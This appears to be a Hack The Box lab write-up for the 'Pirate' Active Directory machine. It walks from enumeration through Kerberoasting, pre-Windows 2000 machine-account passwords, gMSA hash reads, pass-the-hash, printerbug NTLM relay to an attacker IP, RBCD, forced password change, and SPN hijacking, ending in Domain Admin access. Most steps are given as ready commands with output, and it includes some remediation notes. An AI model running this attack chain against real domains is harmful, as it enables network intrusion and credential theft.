HTB pirate

类型: HTB 需要阅读: No

枚举

As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&

# Nmap 7.98 scan initiated Thu Mar  5 03:58:32 2026 as: /usr/lib/nmap/nmap -p 53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985,9389,49667,49685,49686,49688,49689,49913,61992,62014 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.7.169
Nmap scan report for 10.129.7.169
Host is up (0.19s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: NOTIMP)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-05 10:58:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:18+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-05T11:00:17+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2025-06-09T14:05:15
|_Not valid after:  2026-06-09T14:05:15
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49913/tcp open  msrpc         Microsoft Windows RPC
61992/tcp open  msrpc         Microsoft Windows RPC
62014/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.98%I=7%D=3/5%Time=69A8FF73%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-03-05T10:59:39
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  5 04:00:18 2026 -- 1 IP address (1 host up) scanned in 106.48 seconds

SMB

➜  Pirate nxc smb 10.129.7.169 -u pentest -p 'p3nt3st2025!&' --shares
SMB         10.129.7.169    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         10.129.7.169    445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
SMB         10.129.7.169    445    DC01             [*] Enumerated shares
SMB         10.129.7.169    445    DC01             Share           Permissions     Remark
SMB         10.129.7.169    445    DC01             -----           -----------     ------
SMB         10.129.7.169    445    DC01             ADMIN$                          Remote Admin
SMB         10.129.7.169    445    DC01             C$                              Default share
SMB         10.129.7.169    445    DC01             IPC$            READ            Remote IPC
SMB         10.129.7.169    445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.7.169    445    DC01             SYSVOL          READ            Logon server share

查看SYSVOL和NETLOGON

nxc smb 10.129.7.169 -u pentest -p 'p3nt3st2025!&' -M spider_plus

{
    "NETLOGON": {},
    "SYSVOL": {
        "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
            "atime_epoch": "2025-06-08 16:25:14",
            "ctime_epoch": "2025-06-08 14:39:53",
            "mtime_epoch": "2025-06-08 16:25:14",
            "size": "22 B"
        },
        "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2025-06-08 14:39:53",
            "ctime_epoch": "2025-06-08 14:39:53",
            "mtime_epoch": "2025-06-08 14:39:56",
            "size": "1.07 KB"
        },
        "pirate.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
            "atime_epoch": "2025-06-08 16:25:14",
            "ctime_epoch": "2025-06-08 16:25:14",
            "mtime_epoch": "2025-06-08 16:25:14",
            "size": "2.72 KB"
        },
        "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
            "atime_epoch": "2025-06-09 16:12:18",
            "ctime_epoch": "2025-06-08 14:39:53",
            "mtime_epoch": "2025-06-09 16:12:18",
            "size": "22 B"
        },
        "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/Audit/audit.csv": {
            "atime_epoch": "2025-06-09 16:12:18",
            "ctime_epoch": "2025-06-09 16:09:27",
            "mtime_epoch": "2025-06-09 16:12:18",
            "size": "312 B"
        },
        "pirate.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2025-06-08 14:39:53",
            "ctime_epoch": "2025-06-08 14:39:53",
            "mtime_epoch": "2025-06-08 14:39:56",
            "size": "3.68 KB"
        }
    }

无任何价值

Kerberoasting

impacket-GetUserSPNs pirate.htb/pentest:'p3nt3st2025!&' -request -dc-ip 10.129.7.169

$krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb/a.white_adm*$8c19d96...9826a23a8

这个hash破解不出来

LDAP

➜  Pirate nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --users
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] Enumerated 7 domain users: pirate.htb
LDAP        10.129.7.169    389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.7.169    389    DC01             Administrator                 2025-06-08 14:32:36 0        Built-in account for administering the computer/domain
LDAP        10.129.7.169    389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.7.169    389    DC01             krbtgt                        2025-06-08 14:40:29 0        Key Distribution Center Service Account
LDAP        10.129.7.169    389    DC01             a.white_adm                   2026-01-16 00:36:34 0
LDAP        10.129.7.169    389    DC01             a.white                       2025-06-08 19:33:01 0
LDAP        10.129.7.169    389    DC01             pentest                       2025-06-09 13:40:23 0
LDAP        10.129.7.169    389    DC01             j.sparrow                     2025-06-09 15:08:44 0

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --kerberoasting output.txt
LDAP        10.129.7.169    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAP        10.129.7.169    389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.7.169    389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.7.169    389    DC01             [*] Total of records returned 2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-16 00:36:34.388000, lastLogon: 2025-06-09 16:03:37.380258
LDAP        10.129.7.169    389    DC01             $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$3d0f7...d6aa2
LDAP        10.129.7.169    389    DC01             [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 14:48:41.108220, lastLogon: 2026-03-05 10:51:58.242422
LDAP        10.129.7.169    389    DC01             $krb5tgs$18$gMSA_ADFS_prod$$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$c7...fc3d

好像没什么用，查看一下groups

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --groups

LDAP        10.129.7.169    389    DC01             Pre-Windows 2000 Compatible Access       membercount: 4

发现有趣的组：Pre-Windows 2000 Compatible Access

Related Introduction

In Active Directory (AD), Pre-Windows 2000 Compatible Access (a security group with the Security Identifier (SID) S-1-5-32-554) is not primarily associated with code-level execution vulnerabilities. Instead, it represents an extremely dangerous Security Misconfiguration that can lead to severe Information Disclosure and pave the way for internal network penetration and privilege escalation.

This group was originally designed to allow older operating systems like Windows NT 4.0 to query AD information. Its core security risks manifest in the following ways:

1. Default Overly Permissive Read Access

This group possesses broad Read permissions at the root level of Active Directory. Specifically, members of this group can read the attributes of nearly all user and group objects within the domain.

• Danger Point: In domain environments upgraded from earlier systems (like Windows Server 2000 or 2003), by default, Everyone and Authenticated Users are often members of this group.
• Penetration Testing Perspective: This means any attacker possessing even a low-privileged domain account (as they belong to Authenticated Users), or in some configurations, even unauthenticated attackers (if Everyone includes anonymous logons), can query the entire domain schema unrestricted via the Lightweight Directory Access Protocol (LDAP).

2. Anonymous Directory Enumeration

If Everyone belongs to this group and the domain controller allows Null Sessions or anonymous LDAP bindings:

• An attacker can connect directly to the domain controller over the network without obtaining any credentials.
• Using tools like rpcclient or LDAP queries, the attacker can enumerate all usernames, group lists, and even detailed Description fields for certain users.
• Hazard: The Description field often inadvertently contains plaintext passwords, the purposes of service accounts, or other sensitive internal network information.

3. Facilitating Advanced Domain Attacks

The unrestricted information-gathering capability provided by the Pre-Windows 2000 Compatible Access group is the cornerstone for executing advanced follow-up attacks. Attackers can easily collect the following information to devise an attack path:

• Targeting: Quickly identify members of high-privilege groups like Domain Admins and Enterprise Admins.
• Kerberoasting: Enumerate service accounts with a Service Principal Name (SPN) attribute, request their Service Tickets, and perform offline password cracking.
• AS-REP Roasting: Query all users configured with the “Do not require Kerberos preauthentication” attribute and perform offline hash cracking against them.
• BloodHound Pathfinding: The group’s permissions are sufficient for BloodHound to collect the majority of node relationship graphs, enabling the calculation of the Shortest Path to Domain Admin from a regular user.

4. Persistence & Backdoors

In Red Team Operations, if attackers gain high privileges, they might intentionally add regular users or specific backdoor accounts to the Pre-Windows 2000 Compatible Access group. Because it is a built-in system group with a name that sounds like a “compatibility” legacy feature, Blue Teams or system administrators often overlook it during audits, allowing attackers to maintain covert surveillance permissions over domain information.

Remediation Recommendations & Defensive Measures:

As a defender or when issuing a penetration test report, the following remediation measures should be recommended:

1. Clean up group members: Open “Active Directory Users and Computers” (ADUC), check the members of the Pre-Windows 2000 Compatible Access group. Remove Everyone, Anonymous Logon, and Authenticated Users.
2. Add cautiously: Unless there are extremely old legacy systems in the internal network (which usually no longer exist), this group should remain empty.
3. Disable anonymous LDAP: Ensure that anonymous LDAP bind operations are disabled in the registry or group policy on the domain controller.

Exploitation

Since we are in the AUTHENTICATED USERS@PIRATE.HTB (which belongs to Pre-Windows 2000 Compatible Access), it effectively means we can read all information.

ldapsearch -x -H ldap://10.129.7.169 -D 'pentest@pirate.htb' -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(objectClass=user)" > all_users_attributes.txt

Attempt to read leaked passwords.

grep -i -E "pass|pwd|userparameters|info" all_users_attributes.txt
# No results found

Attempt to read GMSA passwords.

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' --gmsa
# Account: gMSA_ADCS_prod$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers

Only the group Domain Secure Servers can read it. Query for users in this group.

ldapsearch -x -H ldap://10.129.7.169 -D 'pentest@pirate.htb' -w 'p3nt3st2025!&' -b "DC=pirate,DC=htb" "(&(objectCategory=group)(cn=Domain Secure Servers))" member
# Returns member: CN=MS01,CN=Computers,DC=pirate,DC=htb

Only MS01 can read it.

Pre2K

A Google search reveals the nxc pre2k module.

Related Introduction

By default, when a computer joins a domain, the domain controller automatically generates a 120-character, fully random machine account password (which typically auto-rolls every 30 days), making brute-forcing machine accounts nearly impossible.

However, the Active Directory Users and Computers (ADUC) management tool has always retained a checkbox for compatibility with ancient NT systems: “Assign this computer account as a pre-Windows 2000 computer”.

If an administrator checks this box when manually pre-creating a computer account (e.g., before assigning a physical machine, just creating a placeholder in AD), something extremely absurd happens: AD does not generate a random password, but instead uses the lowercase of the computer name as its initial password!

• For example: If a new machine account named SERVERDEMO$ is created, its password is serverdemo.
• Our target is named MS01$. If it is vulnerable to this, its password would be ms01!

Exploitation

nxc ldap 10.129.7.169 -u 'pentest' -p 'p3nt3st2025!&' -M pre2k
# MS01$ and EXCH01$

Read GMSA

nxc ldap DC01.pirate.htb -u 'MS01$' -p 'ms01' -k --gmsa

Account: gMSA_ADCS_prod$      NTLM: 304106f739822ea2ad8ebe23f802d078     
Account: gMSA_ADFS_prod$      NTLM: 8126756fb2e69697bfcb04816e685839    

USER

Connect with evil-winrm.

evil-winrm -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078' -i DC01.pirate.htb

Check the network.

*Evil-WinRM* PS C:\Users> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.7.169
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

Setting up the ligolo-ng bridge

For setup instructions, refer to the ligolo-ng official website.

Find live hosts.

nxc smb 192.168.100.0/24

SMB         192.168.100.1   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.2   445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)

Discovered WEB01, and SMB signing is disabled. This indicates that an NTLM relay attack might be possible.

Query for printer services.

nxc smb 192.168.100.2 -u GMSA_ADFS_PROD$ -H 8126756fb2e69697bfcb04816e685839 -M spooler
# Returns Spooler service enabled

Prepare for relay.

sudo impacket-ntlmrelayx -t smb://10.129.7.169 -smb2support --remove-mic -socks
# --remove-mic Message Integrity Code

Configure forwarding in ligolo.

[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » listener_add  --addr 0.0.0.0:8888 --to 127.0.0.1:445

Execute the attack.

python printerbug.py -hashes :8126756fb2e69697bfcb04816e685839 'pirate.htb/GMSA_ADFS_PROD$'@192.168.100.2 10.10.17.34

After gaining access, an RBCD attack was executed, obtaining privileges on the WEB01 machine.

Using the credentials XUPXYXWJ$:Mvb0i(gL8v$>{PG to obtain the administrator’s TGT, then exported the nthash.

impacket-secretsdump -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb
# Obtained a.white : E2nvAOKSz5Xz2MJu

ROOT

According to BloodHound: a.white has ForceChangePassword permission over a.white_ADM.

bloodyAD --host 192.168.100.1 -d Pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu set password 'a.white_ADM' 'P@ssword123!'
# [+] Password changed successfully!

a.white_ADM belongs to the IT group and has WriteSPN permission over DC01.PIRATE. Identify the delegation relationships.

impacket-findDelegation pirate.htb/a.white_adm:'P@ssword123!' -dc-ip 192.168.100.1

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
DC01$        Computer     Unconstrained                       N/A                    Yes
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  Yes
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             Yes
XUPXYXWJ$    Computer     Resource-Based Constrained          WEB01$                 No

SPN Hijacking

• The user a.white_adm is allowed to access the HTTP service on WEB01 on behalf of anyone (with Protocol Transition).
• a.white_adm has WriteSPN permission over DC01.

Exploiting the uniqueness of SPNs, transfer the delegation rights originally meant for WEB01 to DC01, thereby allowing a.white_adm to access DC01 as an administrator.

Remove the SPN from WEB01.

python3 ~/Work/Tools/krbrelayx/addspn.py -t 'WEB01$' -u 'pirate.htb\a.white_adm' -p 'P@ssword123!' 'DC01.pirate.htb'  -r --spn 'http/WEB01.pirate.htb'
# Returns SPN Modified successfully

Transfer it.

python3 ~/Work/Tools/krbrelayx/addspn.py -t 'DC01$' -u 'pirate.htb\a.white_adm' -p 'P@ssword123!' 'dc01.pirate.htb' -s 'http/WEB01.pirate.htb'
# Returns SPN Modified successfully

Obtain the ticket.

impacket-getST -spn 'http/WEB01.pirate.htb' -impersonate administrator 'pirate.htb/a.white_adm:P@ssword123!' -dc-ip 10.129.7.169 -altservice 'cifs/DC01.pirate.htb'
# Returns Saving ticket in administrator@http_WEB01.pirate.htb@PIRATE.HTB.ccache
# The -altservice parameter bypasses the protocol transition restriction

Since TGTs are long-term, the DC trusts them.

impacket-smbclient -k -no-pass DC01.pirate.htb

This allows obtaining root.